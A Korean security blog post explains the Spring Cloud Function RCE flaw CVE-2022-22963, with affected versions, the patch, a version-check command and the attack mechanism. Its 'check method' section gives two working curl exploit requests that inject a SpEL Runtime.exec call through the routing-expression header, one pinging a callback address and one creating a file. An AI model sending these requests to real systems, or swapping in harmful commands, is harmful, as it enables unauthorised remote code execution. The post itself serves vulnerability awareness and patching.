본문으로 바로가기

Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법

 

※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약점이며, 22년 3월 30일에 공개된 CVE-2022-22965이 Spring Shell 취약점이다.

 

1. 용어 설명

용어 설명
Spring Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다.
Spring Cloud 분산 환경에서 개발, 빌드, 배포, 운영에 필요한 아키텍처를 쉽게 구성할 수 있게 도와주는 Spring Boot 기반의 프레임워크를 말한다.
Spring Cloud Function 클라우드 서비스를 빌드 및 연결하기 위한 서버리스 실행 환경을 말한다.
SpEL 객체에 대한 쿼리와 조작(querying and manipulating)을 지원하는 강력한 표현 언어이다.
Maven 프로젝트 객체모델(Project Object Model: POM) 이라는 개념을 바탕으로  프로젝트의 의존성관리, 라이브러리관리, 프로젝트 라이프사이클 관리 기능등을 제공하는 프로젝트 관리도구이다.

 

2. 취약점 요약

항목 내용 비고
CVE CODE CVE-2022-22963 Spring Cloud 취약점이라고 불린다.
CVSS 점수 9.8(CRITICAL)  
취약 내용 Spring Cloud Function에서 발생하는 원격코드실행 취약점  
취약 대상 Spring Cloud Function 3.1.6 ~ 3.2.2  
조치 방법 Spring Cloud Function 3.1.7, 3.2.3 버전으로 업데이트  

 

3. Spring Cloud Function 버전 확인 방법

Maven 프로젝트일 경우 pom.xml 파일을 열어 버전을 확인하거나 명령어를 통해 확인할 수 있다.

 

- pom.xml 에서의 Spring Cloud Function 버전 확인 방법.

그림1. pom.xml 에서의 Spring Cloud Function 버전 확인 방법

- Spring Cloud Function 버전 확인 명령어.

grep -A 2'spring-cloud-function-context'pom.xml

 

4. 공격 원리

HTTP 요청 헤더의 spring.cloud.function.routing-expression 매개변수에 조작된 SpEL(Spring Expression Language)을 입력할 경우 서버에서 코드를 실행할 수 있다.

그림2. CVE-2022-22963 공격 원리
그림3. CVE-2022-22963 공격 예시

 

5. 점검 방법(POC, Exploit)

아래의 명령어를 이용하여 본 취약점이 존재하는지 점검해 볼 수 있다. 구글에 검색해보면 수많은 방법이 존재하니, 다른 방식의 점검방법이 필요한 사람은 구글에 "CVE-2022-22963 POC"라고 검색해보길 바란다.

 

- ping 명령어를 이용한 점검 방법.(공격자에게 ping신호가 오는지로 취약유무 판단)

$ curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter'

 

- 파일생성 명령어를 이용한 점검 방법.(특정 파일이 생성되는지로 취약유무 판단)

$ curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'

 

6. 참고 URL

NVD - CVE-2022-22963 (nist.gov)

 

NVD - CVE-2022-22963

CVE-2022-22963 Detail Current Description In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result

nvd.nist.gov

 

보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

CVE-2022-22963: Spring Cloud Function SpEL expression injection vulnerability alert (securityonline.info)

 

CVE-2022-22963: Spring Cloud Function SpEL expression injection vulnerability alert

Spring Cloud officially released a security bulletin, disclosing that there is a SpEL expression injection vulnerability (CVE-2022-22963)

securityonline.info

 

Detecting and Mitigating CVE-2022-22963: Spring Cloud RCE Vulnerability – Sysdig

 

Detecting and Mitigating CVE-2022-22963: Spring Cloud RCE Vulnerability – Sysdig

How to detect and mitigate CVE-2022-22963 Spring4Shell, a high severity 0-day vulnerability on Spring Cloud Function that can lead to RCE.

sysdig.com

 

GitHub - twseptian/cve-2022-22963: Spring Cloud Function SpEL - cve-2022-22963

 

GitHub - twseptian/cve-2022-22963: Spring Cloud Function SpEL - cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963. Contribute to twseptian/cve-2022-22963 development by creating an account on GitHub.

github.com